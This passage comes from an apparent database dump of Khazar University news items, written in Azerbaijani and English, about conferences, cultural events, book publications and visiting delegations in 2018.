Siyasi elmlər və beynəlxalq əlaqələr departamentinin koordinatoru Elmar Mustafayev “Avropa Parlamentində miqrasiya və qaçqınlıq böhranının həlli” adlı mühazirə söyləyib. İkinci sessiyada iştirakçılar dörd siyasi qrupa bölünərək miqrasiya böhranının həlli üzrə öz proqramlarını təqdim etdikdən sonra sualları cavablandırdılar.</p><p>Simulyasiya oyununun sonunda tələbələr “THE SAME” komandasının sertifikatı ilə təltif edildilər.</p>'),(5708,3276,'en','Simulation game of the European Parliament','On May 30, 2018, simulation game of the European Parliament was organized...','<p>On May 30, 2018, simulation game of the European Parliament was organized&nbsp;by Dr. Bahadir Baysal, Coordinator of the Department of Economics and Management and “THE SAME” team of Khazar University within the framework of Peer to Peer: Facebook Global Digital Challenge. At the beginning of the simulation game, Elmar Mustafayev, Coordinator of Political Science and International Relations Department of Khazar University delivered a lecture on “Solutions of Migration and Refugees Crisis at the European Parliament”. At the second session, the participants were divided into four political groups, and presented their programmes on solution of migration crisis, answered the questions of other political groups.</p><p>At the end of the simulation game, the students were awarded with certificates by “THE SAME” team.</p>'),(5709,3277,'az','Çikaqoda keçirilən “Azərbaycan Xalq Cümhuriyyət–100” tədbirində Xəzər Universitetinin müəllimi çıxış etdi','2018-ci il mayın 18-də ABŞ-ın İllinois ştatının Çikaqo şəhərində həmin ştatda yaşayan...','<p>2018-ci il mayın 18-də ABŞ-ın İllinois ştatının Çikaqo şəhərində həmin ştatda yaşayan “Azərbaycanlı Amerikalılar Cəmiyyəti”nin təşkilatçılığı ilə Şərqdə ilk demokratik respublika olan Azərbaycan Xalq Cümhuriyyətinin yaranmasının 100 illiyi münasibətilə geniş yubiley tədbiri keçirildi.</p><p>Cümhuriyyətin 100-cü ildönümünü qeyd etmək məqsədilə keçirilən möhtəşəm yubiley gecəsində Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi professor Nəsiman Yaqublu ilə yanaşı, İllinoisdəki Azərbaycan Cəmiyyətinin 200-dən çox fəalı, eləcə də, yaxın əyalətlərdən qonaq olan azərbaycanlılar iştirak edirdilər.</p><p>Yubiley gecəsində təşkilatçılar qonaqları salamladıqdan sonra bir sıra azərbaycanlı və amerikalı dövlət rəsmiləri, alimləri tərəfindən təbrik çıxışları səsləndirildi. Çıxışlarda Çikaqo meri George Van Dusen, Türkiyənin Çikaqodakı konsulu Umut Acar, Azərbaycan Cümhuriyyətinin qurucusu Məhəmməd Əmin Rəsulzadənin nəvəsi Rəis Rəsulzadə, Tomris Azəri, Dr. Adil Bağırov, professor Harry Lepinske və digər qonaqlar Azərbaycan haqda xatirələrini və təbriklərini qonaqlara çatdırdılar. Professor Nəsiman Yaqublu toplantı iştirakçılarına cümhuriyyətin tarixi haqqında geniş məlumat verdi.</p><p>Yubiley gecəsinə gələ bilməyən Amerika Birləşmiş Ştatları Dəniz Qüvvələrinin Komandiri vəzifəsində çalışan azərbaycanlı Naimi Amiral (John Amiral) və digərlərinin təbrik məktubları da oxundu. Gecənin musiqili hissəsində tanınmış tarzən professor Ramiz Quliyev, müğənnilər Lalə Məmmədova, Nuriyyə Hüseynova, Çinarə Məlikzadə və pianoçu Etibar Əsədli musiqi nömrələri ilə çıxış etdilər.</p><p>Tədbirdə iştirak edən qonaqlara təşkilatçılar tərəfindən cümhuriyyətin 100-cü ildönümü münasibətilə xüsusi olaraq hazırlanmış hədiyyələr də təqdim edildi. Tədbirin yüksək səviyyədə təşkili üçün İllinoisdə yaşayan Azərbaycan Cəmiyyətinin fəalları maliyyə dəstəyi göstərmişdilər.</p>'),(5710,3277,'en','Khazar University instructor participates in an event  “The Azerbaijan Democratic Republic-100” held in Chicago','On May 18, 2018, a grand anniversary ceremony dedicated to the commemoration...','<p>On May 18, 2018, a grand anniversary ceremony dedicated to the commemoration of 100<sup>th</sup> anniversary of the Azerbaijan Democratic Republic, the first democratic republic in the East, was held in Chicago city, Illinois state, on the organizational support of “Azerbaijan Society of America” functioning in Chicago.</p><p>Prof. Nasiman Yagublu, the instructor of the Department of History and Archaeology of Khazar University, as well as more than 200 activists of Azerbaijan Society in Illinois and Azerbaijanis from neighboring countries participated in the ceremony dedicated to the commemoration of 100th anniversary of the Democratic Republic.</p><p>Upon greetings by the organizers, some state figures and scholars from Azerbaijan and America delivered congratulatory messages. George Van Dusen, Mayor of Chicago, Umut Ajar, Turkish Consul in Chicago, Rais Rasulzadeh, Mahammad Amin Rasulzadeh’s grandson, Tomris Azeri, Dr. Adil Baghirov, Prof. Harry Lepinske and others talked about their memories of Azerbaijan and sent congratulatory messages. Prof. Nasiman Yagublu enlightened the participants about the history of the Republic.</p><p>Congratulatory letters by Naim Amiral (John Amiral), United States Navy Commander, and others, who could not take part in the ceremony, were read to the participants. In the musical part of the ceremony, Prof. Ramiz Guliyev, a tar player, Lala Mammadova, Nuriyya Huseynova, Chinara Malikzadeh and Etibar Asadli, a pianist, performed pieces of music.</p><p>The guests were presented with gifts especially designed for the 100<sup>th</sup> anniversary of the Democratic Republic. Activists of Azerbaijan Society living in Illinois made a financial support for a high-level organization of the ceremony.</p>'),(5711,3278,'az','Xəzər Universitetinin keçirdiyi konfrans ölkə mətbuatında geniş yer aldı','Xəbər verildiyi kimi, 2018-ci il iyunun 1-i və 2-də Xəzər Universitetinin təşkilatçılığı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\">Xəbər\r\nverildiyi kimi, 2018-ci il iyunun 1-i və 2-də Xəzər Universitetinin təşkilatçılığı\r\nilə “Tək Sağlamlıq: Problemlər və onun həlli” mövzusunda 1-ci Beynəlxalq Tək\r\nSağlamlıq Konfransı keçirilmişdir. Konfrans ölkə mətbuatında geniş şəkildə\r\nişıqlandırılmış, “Space” TV-nin xəbərlər proqramında ayrıca süjet\r\nyayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Konfrans\r\nhaqqında daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://azertag.az/xeber/Bakida_birinci_Beynelxalq_Tek_Saglamliq_Konfransi_kechirilir-1168531\">https://azertag.az/xeber/Bakida_birinci_Beynelxalq_Tek_Saglamliq_Konfransi_kechirilir-1168531</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://azertag.az/en/xeber/One_health_Problems_and_Solution_1st_international_conference_kicks_off_in_Baku-1168691\">https://azertag.az/en/xeber/One_health_Problems_and_Solution_1st_international_conference_kicks_off_in_Baku-1168691</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.islahat.az/bakida-birinci-beynelxalq-tek-salamliq-konfransi-kecirilir/;\">http://www.islahat.az/bakida-birinci-beynelxalq-tek-salamliq-konfransi-kecirilir/;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://strateq.az/sosial/257224/bakida-xəzər-universitetinin-təskilatciligi-beynəlxalq-konfrans-kecirilib.html\">http://strateq.az/sosial/257224/bakida-xəzər-universitetinin-təskilatciligi-beynəlxalq-konfrans-kecirilib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.gununsesi.info/xəzər-universitetində-birinci-beynəlxalq-tək-saglamliq-konfransi-kecirilir/\">https://www.gununsesi.info/xəzər-universitetində-birinci-beynəlxalq-tək-saglamliq-konfransi-kecirilir/</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.moderator.az/news/227498.html\">http://www.moderator.az/news/227498.html</a>.</p>'),(5712,3278,'en','National media covers the conference held at Khazar University','As noted before, on June 1-2, 2018, 1st International Conference on “One Health...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\">As noted before, on June 1-2, 2018, 1<sup>st</sup> International Conference on “One Health: Problems and Solutions” was held at Khazar University. The conference was fully covered by the national media. News broadcast of “Space” TV prepared a special report on the conference.</p>\r\n<p>Links for more information about the conference:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://azertag.az/xeber/Bakida_birinci_Beynelxalq_Tek_Saglamliq_Konfransi_kechirilir-1168531\">https://azertag.az/xeber/Bakida_birinci_Beynelxalq_Tek_Saglamliq_Konfransi_kechirilir-1168531</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://azertag.az/en/xeber/One_health_Problems_and_Solution_1st_international_conference_kicks_off_in_Baku-1168691\">https://azertag.az/en/xeber/One_health_Problems_and_Solution_1st_international_conference_kicks_off_in_Baku-1168691</a>; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.islahat.az/bakida-birinci-beynelxalq-tek-salamliq-konfransi-kecirilir/;\">http://www.islahat.az/bakida-birinci-beynelxalq-tek-salamliq-konfransi-kecirilir/;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://strateq.az/sosial/257224/bakida-xəzər-universitetinin-təskilatciligi-beynəlxalq-konfrans-kecirilib.html\">http://strateq.az/sosial/257224/bakida-xəzər-universitetinin-təskilatciligi-beynəlxalq-konfrans-kecirilib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.gununsesi.info/xəzər-universitetində-birinci-beynəlxalq-tək-saglamliq-konfransi-kecirilir/\">https://www.gununsesi.info/xəzər-universitetində-birinci-beynəlxalq-tək-saglamliq-konfransi-kecirilir/</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.moderator.az/news/227498.html\">http://www.moderator.az/news/227498.html</a>.</p>'),(5713,3279,'az','Xəzər Universitetində 1-ci “Tək Sağlamlıq: problemlər və onların həlli” mövzusunda beynəlxalq konfrans keçirildi','2018-ci il iyunun 1-2-də Xəzər Universitetinin Mərmər salonunda universitetin...','<br><p style=\"text-align:left\"><iframe src=\"https://player.vimeo.com/video/271521181\" width=\"640\" height=\"360\" frameborder=\"0\"></iframe></p>\r\n<p>2018-ci il iyunun 1-2-də Xəzər Universitetinin Mərmər salonunda universitetin bioloji elmlər departamentinin təşkilatçılığı ilə 1-ci “Tək Sağlamlıq: problemlər və onların həlli” mövzusunda beynəlxalq konfrans keçirildi.</p><p>Qeyd edək ki, konfrans haqqında keçən ilin dekabr ayından aşağıdakı beynəlxalq media resurslarında xəbər yaymlanmışdı:</p><ul><li>Tək Sağlamlıq Platformu (One Health Platform) <a href=\"https://onehealthplatform.com/ohp/calendar\">https://onehealthplatform.com/ohp/calendar</a></li><li>Nature Events <a href=\"https://www.nature.com/natureevents/science/events/65707-One_Health_Problems_Solutions\">https://www.nature.com/natureevents/science/events/65707-One_Health_Problems_Solutions</a></li><li>One Health Initiative <a href=\"https://www.cbd.int/2011-2020/actions/country\">https://www.cbd.int/2011-2020/actions/country</a></li><li>Convention on Biological Diversity <a href=\"https://chm.cbd.int/database/record/239825\">https://chm.cbd.int/database/record/239825</a></li></ul><p>Xəzər Universiteti Harvard Universitetinin Planetar Sağlamlıq İttifaqı konsorsiumunun tərkibinə daxil edilmişdir. Bu münasibət ilə Konsortiumun direktoru Xəzər Universitetinə video təbrik göndərmiş və konfransın gedişinə uğurlar diləmişdir (Videonu bu linkdən yükləmək olar: <a href=\"https://vimeo.com/271521181\">https://vimeo.com/271521181</a>)</p><p>Məşhur universitetlərin, o cümlədən Xəzər Universitetinin də daxil olduğu Harvard Universitetinin Planetar Sağlamlıq İttifaqı 31 may və 1 iyun tarixində Böyük Britaniyanın Edinburq Universitetində illik konfransını təşkil etmiş və öz səhifəsində Xəzər Universitetində keçirilən konfransı “Tərəfdaşlıq tədbiri” kimi elan etmişdi (<a href=\"https://planetaryhealthannualmeeting.org/satellite-meetings/\">https://planetaryhealthannualmeeting.org/satellite-meetings/</a>). Bu ittifaq məşhur Rokfeller Fondu tərəfindən maliyyələşdirilən və dünyanın 95-dən çox universitet, dövlət təşkilatları və tədqiqat institutlarının daxil olduğu bir təşkilatdır.</p><p>Beynəlxalq konfransda Azərbaycan, Türkiyə, Rusiya, İran, Gürcüstan, ABŞ, Kanada və İsveçrədən müvafiq elm sahələrinin 30 nəfərdən artıq görkəmli mütəxəssisi iştirak edirdi. Konfransda həmçinin Azərbaycanın Səhiyyə Nazirliyi, Ekologiya və Təbii Sərvətlər Nazirliyi, Fövqəladə Hallar Nazirliyi,&nbsp;Nəqliyyat, Kommunikasiya və Yüksək Texnologiyalar Nazirliyi, Kənd Təsərrüfatı Nazirliyi, Qida Təhlükəsizliyi Agentliyi, Nizami rayonu Bələdiyyəsi nümayəndələri iştirak edirdilər.</p><p>NİZAMİ Erasmus+ layihəsi, Global Alliance Grupu və Nərgiz klinikası konfransda iştirak etmiş və dəstəkləmişdirlər.</p><p>Konfransı giriş sözü ilə Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilova açaraq, iştirakçıları salamladı və sözü universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya verdi. Professor Hamlet İsaxanlı çıxışında konfransda müzakirə&nbsp;olunan mövzunun həm Azərbaycan, həm də beynəlxalq aləm üçün əhəmiyyətindən danışdı, konfransa uğurlu iş arzuladı.</p><p>Sonra proqram üzrə məruzələrin dinlənilməsinə başlandı. İki gün ərzində ümumilikdə 30-dan artıq məruzə dinlənildi. Mövzular üzrə hər bölmədən sonra geniş sual-cavab sessiyaları keçirildi. Konfransın başlandığı gündən gənc tədqiqatçıların posterləri stendlərdən asılmış və fasilələr zamanı təqdimatları keçirilmişdir. Poster təqdimatlarının müsabiqəsi keçirilmiş, 7 nəfərdən ibarət Beynəlxalq Münsiflər Heyəti tərəfindən qiymətləndirilmiş və qaliblər elan edilmişdir. Münsiflər Heyətinin sədri Amerika Birləşmiş Ştatları Milli Ətraf Mühit Sağlamlığı Təşkilatının direktoru Dr. David Dyjack (David Dyjack, PhD, CIH, Executive Director of the National Environmental Health Association, USA) qalibləri elan etdi və onlara sertifikatlar təqdim etdi. Birinci yer Respublika Taun Əleyhinə Stansiyanın (Republican Anti-Plague Station) Təbii ocaqların infeksiyalarının monitorinqi bölməsinin entomoloqu, V.Axundov adına Milli Elmi Tədqiqat Tibbi Profilaktika İnstitutunun Parazitologiya şöbəsinin dissertantı entomoloq Yeganə Sultanova, ikinci yer Respublika Taun Əleyhinə Stansiyanın həkim mikrobioloqu Namiq Mustafayev, üçüncü yeri isə Xəzər Universitetinin Bioloji Elmlər Departamentinin doktorantı Moozhan Serpoush   tutmuşdur.</p><p>Konfransın bağlanış mərasimində Xəzər Universitetinin Elmi işlər üzrə prorektoru dosent İradə Xəlilova konfransın işini yekunlaşdırdı, iştirakçılara sertifikat təqdim olundu və xatirə şəkilləri çəkildi.</p>'),(5720,3282,'en','New Book by Professor Hamlet Isakhanli is Published','The Founder of Khazar University and the Chairman of the Board of Directors...','<p>The Founder of Khazar University and the Chairman of the Board of Directors and Trustees Prof. Hamlet Isakhanli published a new book called “Alchemy: Science, Art and Mysticism” (in Azerbaijani: Əlkimya: Elm, Sənət və Mistika) which talks about the history of science. In the book, the author dives into the world history of alchemy while focusing on Egypt, which is considered the main candidate to be the homeland of alchemy, and then Mesopotamia, Greek and Roman civilization, the periods when China and Islam were hegemons, and finally, the Europe of the Middle Ages. Certain generalizations have been made based on a comparative analysis, and similarities and differences have been noted. The relations between Eastern and Western cultures</p><p>have been contemplated through the lens of the alchemy. There are discussions on the scientific and technological aspects of alchemy, as well as economic and commercial prospects, physical and chemical properties of gold and silver, moral and social facets, endeavors to turn metals into silver and gold, as well as the search for elixirs that can bring rejuvenation and immortality, also on people who led the creative activities in these areas.</p><p>When appropriate, the closely related subjects to alchemy, such as medicine, pharmacology and botany, metals and minerals, philosophy and mystery, have been scrutinized. The different myths and legends, travels and wars, books and encyclopedias have been discussed. The events encompassing the major or base elements, especially, their insufficiency, along with the substances regarded as the soul of alchemy like mercury, sulfur, and salt, are in the spotlight.</p><p>Written in a comprehensible language, this monography is reckoned to be for specialists, students and a wide audience of readers.</p>'),(5722,3284,'en','The first two volumes of the book \"The Love Poetry of Azerbaijan\" were published in Iran','The first two volumes of the book “The Love Poetry of Azerbaijan” by Professor Hamlet Isakhanli...','<p>The first two volumes of the book “The Love Poetry of Azerbaijan” by Professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, was published by “Axtar” publishing house in Iran (in Azerbaijani with Arabic alphabet). The book starts with the “ Our good love poems...” preface by Hamlet Isakhanli and his article “Love and Poetry”.</p>'),(5723,3284,'az','“Azərbaycan Sevgi Poeziyası” kitabının ilk 2 cildi İranda nəşr olundu','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının İranın “Əxtər” nəşriyyatında “Azərbaycan Sevgi Poeziyası” kitabının ilk 2 cildi nəşr olunmuşdur (ərəb əlifbası ilə Azərbaycan dilində). Kitab Hamlet İsaxanlının “Yaxşı sevgi şeirlərimiz...” adlı giriş sözü və “Sevgi və Poeziya” adlı məqaləsi ilə açılır.</p>'),(5724,3285,'az','Çin nümayəndə heyəti Xəzər Universitetində','2018-ci il iyunun 4-də Çinin Sosial Elmlər Akademiyası Fəlsəfə İnstitutundan...','<p>2018-ci il iyunun 4-də Çinin Sosial Elmlər Akademiyası Fəlsəfə İnstitutundan nümayəndə heyəti (ÇSEA) Xəzər Universitetini ziyarət etdilər. Görüşdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, həmçinin, universitetin rektoru Dr. Hassan Niknafs, prorektorlar professor Məhəmməd Nuriyev, Dr. İsaxan İsaxanlı, dosent İradə Xəlilova, dekanlar – dosent Cabir Xəlilov, dosent Elza Səmədli, dosent Ceyhun Məmmədov və Magistratura, doktorantura və elmi işlər üzrə şöbənin rəhbəri Dr. Eldar Şahgəldiyev iştirak edirdilər.</p><p>Dr. Eldar Şahgeldiyevin Xəzər Universiteti haqqında qısa təqdimatından sonra Çinin Sosial Elmlər Akademiyasının (ÇSEA) nümayəndələri ÇSEA Mədəniyyət Siyasəti üzrə Araşdırma Mərkəzinin dosenti Zu Chun Ming, onun həmkarları – ÇSEA Fəlsəfə İnstitutunun professoru Tsui Wei Hang və Mədəniyyətşünaslıq üzrə Milli Mərkəzin direktor müavini professor Li He öz institutları haqqında məlumat verərək, təhsil və tədqiqat, mədəniyyət mübadiləsi, turizm və tələbə mübadiləsi sahələrində gələcəkdə əməkdaşlıq etmək niyyətində olduqlarını ifadə etdilər.</p><p>Görüşün sonunda, Professor İsaxanlı Çin dilinə tərcümə edilmiş şeirlər kitabını və Çin haqqında “Böyük çaylar Qərbdən Şərqə doğru axır: Azərbaycan və Çin” sərlövhəli məqaləsini qonaqlara hədiyyə etdi. Öz növbəsində, qonaqlar Konfutsi fəlsəfəsinə həsr edilmiş ÇSEA-nın xüsusi buraxılışı olan kitabı H.İsaxanlıya təqdim etdilər.</p>'),(5725,3285,'en','A Delegation from China at Khazar University','On June 4, a Chinese delegation from the Institute of Philosophy of Chinese Academy...','<p>On June 4, a Chinese delegation from the Institute of Philosophy of Chinese Academy of Social Sciences (CASS) visited Khazar University. Khazar University Founder, Chairman of its Board of Directors and Trustees Professor Hamlet Isakhanli, as well as its Rector Dr. Hassan Niknafs, Vice Rectors Prof. Mahammad Nouriyev, Assoc. Prof. Irada Khalilova, Dr. Isakhan Isakhanli, and Deans Assoc. Prof. Elza Samadli, Assoc. Prof. Jabir Khalilov, Dr. Jeyhun Mammadov and the Head of Division for Graduate Studies and Research, Dr. Eldar Shahgaldiyev participated in the meeting.</p><p>Following a brief introduction about Khazar University presented by Dr. Eldar Shahgaldiyev, representatives of the Institute of Philosophy of Chinese Academy of Social Sciences (CASS) – Associate Professor Zu Chun Ming of Research Center for Cultural Policy, her colleagues Professor Cui Wei Hang of Institute of Philosophy, and Professor Li He, Deputy Director of China\'s National Center for Cultural Studies introduced their institution and expressed their will for future collaboration in the fields of education and research; cultural exchange, tourism and student exchange.</p><p>At the end of the meeting, Prof. Isakhanli presented the guests his book of poems in Chinese and his article about China “Major Rivers Flow from the West to the East: Azerbaijan and China”. In its turn, the guests presented a book - special edition of CASS dedicated to Confucian philosophy.</p>'),(5726,3286,'az','Xəzər Universitetində Fikrət Əmirov Konfrans-Konsert Mərkəzinin açılışı mətbuat səhifələrində','Xəbər verildiyi kimi, 2018-ci il iyunun 5-də Xəzər Universitetində görkəmli bəstəkar...','<p>Xəbər verildiyi kimi, 2018-ci il iyunun 5-də Xəzər Universitetində görkəmli bəstəkar, tanınmış ictimai xadim, SSRİ xalq artisti, Dövlət mükafatları laureatı Fikrət Əmirov Konfrans-Konsert Mərkəzinin və bəstəkarın rəsmi əks olunmuş barelyefin rəsmi açılışı oldu. Bu barədə ölkə mətbuatında da xəbərlər yayınlanmışdır.</p><p>Tədbirlə bağlı daha geniş məlumatı aşağıdakı linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://azertag.az/xeber/1170015\" style=\"text-align:justify;text-indent:0.25in\">https://azertag.az/xeber/1170015    </a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://www.baki-xeber.com/medeniyyet/78437.html\">http://www.baki-xeber.com/medeniyyet/78437.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://www.tezadlar.az/magazin/35896-konfrans-konsert-mrkzinin-al-oldu.html\">http://www.tezadlar.az/magazin/35896-konfrans-konsert-mrkzinin-al-oldu.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://www.adalet.az/w149890/Konfrans-Konsert\">http://www.adalet.az/w149890/Konfrans-Konsert-Mərkəzinin_açılışı_oldu</a>/</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"https://paralel.az/article/az/54521-X%C9%99z%C9%99r+Universitetind%C9%99+g%C3%B6rk%C9%99mli+b%C9%99st%C9%99kar+Fikr%C9%99t+%C6%8FmirovKonfrans-Konsert+M%C9%99rk%C9%99zinin+a%C3%A7%C4%B1l%C4%B1%C5%9F%C4%B1+oldu.%C2%A0.html#Kalibri\">https://paralel.az/article/az/54521-Xəzər-Universitetində-görkəmli-bəstəkar-Fikrət-Əmirov-Konfrans-Konsert-Mərkəzinin-açılışı-oldu.%C2%A0.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://tehsil-press.az/index.php?newsid=30071;\">http://tehsil-press.az/index.php?newsid=30071</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://tehsil-press.az/index.php?newsid=30071;\"></a><a href=\"https://www.bizimyol.info/az/news/73058.html\">https://www.bizimyol.info/az/news/73058.html</a></p>'),(5727,3286,'en','Media covers the opening of Fikrat Amirov Conference-Concert Center at Khazar University','As noted before, on June 5, 2018, an official opening ceremony for Conference...','<p>As noted before, on June 5, 2018, an official opening ceremony for Conference-Concert Center named after Fikrat Amirov, outstanding composer, well-known public figure, People\'s Artist of the USSR, and laureate of state awards, as well as an official opening ceremony for Fikrat Amirov’s bas-relief took place at Khazar University. The event was covered by the national media.</p><p>Links for further information:</p>  <p><a href=\"https://azertag.az/xeber/1170015\" style=\"text-align:justify;text-indent:0.25in\">https://azertag.az/xeber/1170015    </a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://www.baki-xeber.com/medeniyyet/78437.html\">http://www.baki-xeber.com/medeniyyet/78437.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://www.tezadlar.az/magazin/35896-konfrans-konsert-mrkzinin-al-oldu.html\">http://www.tezadlar.az/magazin/35896-konfrans-konsert-mrkzinin-al-oldu.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://www.adalet.az/w149890/Konfrans-Konsert\">http://www.adalet.az/w149890/Konfrans-Konsert-Mərkəzinin_açılışı_oldu</a>/</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"https://paralel.az/article/az/54521-X%C9%99z%C9%99r+Universitetind%C9%99+g%C3%B6rk%C9%99mli+b%C9%99st%C9%99kar+Fikr%C9%99t+%C6%8FmirovKonfrans-Konsert+M%C9%99rk%C9%99zinin+a%C3%A7%C4%B1l%C4%B1%C5%9F%C4%B1+oldu.%C2%A0.html#Kalibri\">https://paralel.az/article/az/54521-Xəzər-Universitetində-görkəmli-bəstəkar-Fikrət-Əmirov-Konfrans-Konsert-Mərkəzinin-açılışı-oldu.%C2%A0.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://tehsil-press.az/index.php?newsid=30071;\">http://tehsil-press.az/index.php?newsid=30071</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\"><a href=\"http://tehsil-press.az/index.php?newsid=30071;\"></a><a href=\"https://www.bizimyol.info/az/news/73058.html\">https://www.bizimyol.info/az/news/73058.html</a></p>'),(5728,3283,'en','The opening of Fikrat Amirov Conference-Concert Center at Khazar University','On June 5, 2018, the opening ceremony for Fikrat Amirov Conference...','<p>On June 5, 2018, the opening ceremony for Fikrat Amirov Conference-Concert Center took place at the “Dunya” Concert-Conference Hall at the downtown campus of Khazar University. The “Dunya” Concert-Conference Hall, where national and international ceremonies have been hosted for a long time, and which is well-known in the cultural community, will have a new status.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, greeted prominent cultural figures and invited them to the opening of Fikrat Amirov’s bas-relief. The opening ceremony was displayed on the screen for those in the hall. Firangiz Alizadeh, Chair of the Union of Azerbaijan Composers, and Sevil Amirova, the daughter of the great composer, with the applause of the participants, took the white cover over the bas-relief. The “Dunya” Concert-Conference Hall became Fikrat Amirov Conference-Concert Center when the University administration came back.</p><p>Prof. Hamlet Isakhanli gave a broad overview of Fikret Amirov\'s life and career, mentioning that the great musician created a school of art and was recognized worldwide.</p><p>Then the artistic part of the ceremony began. The Chamber Orchestra of Khazar University performed the IV part of “Nizami” symphony, \"Kurd ovshari\" (Sevda Rahimova, a composer and a teacher of “Dunya” school who also works for Chamber Orchestra), waltz from \"Sevil\" opera, and “Scheherazade\'s holiday” from “One Thousand and One Nights” ballet.</p><p>The followong pieces of music were performed by various performers: Azer Zeynalov, People’s Artist – “Balash’s aria” from “Sevil” opera; Atash Garayev, the soloist of Azerbaijan State Musical Theater, laureate of international competitions – “Balahs’s song”, Alim Gasimov, People’s Artist, and Fargana Gasimova, Honored Artist (duet) – “The Song of a Blind Arab” from “Sheykh Sanan” a play by Huseyn Javid; Sabina Vahabzadeh, Honored Artist, –   “Lands of Azerbaijan”; Gulyanag Mammadova, People’s Artist – “The night passed” and “Goygol” (accompanied by folk instruments ensemble); Ramiz Guliyev, People’s Artist and a tar player – “I am looking for you” and “Morning”; the dance ensemble of Khazar University&nbsp;– Choreographic etude based on the “One Thousand and One Nights” ballet.</p><p>Firangiz Alizadeh, Chair of the Union of Azerbaijan Composers, delivered a speech and noted that the establishment of Fikrat Amirov Conference-Concert Center was a new contribution to Azerbaijani culture. Sevil Amirova expressed her gratitude to the University administration and the participants for respect to his father.</p>'),(5730,3287,'en','Competition winners awarded','On June 31, 2018, an awarding ceremony for the winners of the blog post competition...','<p>On June 31, 2018, an awarding ceremony for the winners of the blog post competition “My candidate is Ilham Aliyev”, which was announced by \"Our Youth\" Public Union with regard to presidential election held in April, 2018, was held. Vice-rectors of several universities, government representatives as well as prominent public and political figures participated in the ceremony. According to the result of the competition, an article by Aydin Salimli, a second year student of the School of Economics and Management of Khazar University, held the first place. The winners were awarded cash prizes and certificates.</p><p><a href=\"https://mycandidate675468713.wordpress.com/2018/03/22/m%C9%99nim-namiz%C9%99dim-ilham-%C9%99liyevdir\">https://mycandidate675468713.wordpress.com/2018/03/22/mənim-namizədim-ilham-əliyevdir</a>.  <br></p>'),(5731,3288,'az','Xəzər Universitetinin məzunu müsahibə verdi','2018-ci il iyunun 8-də Banker.az saytında Xəzər Universitetinin, 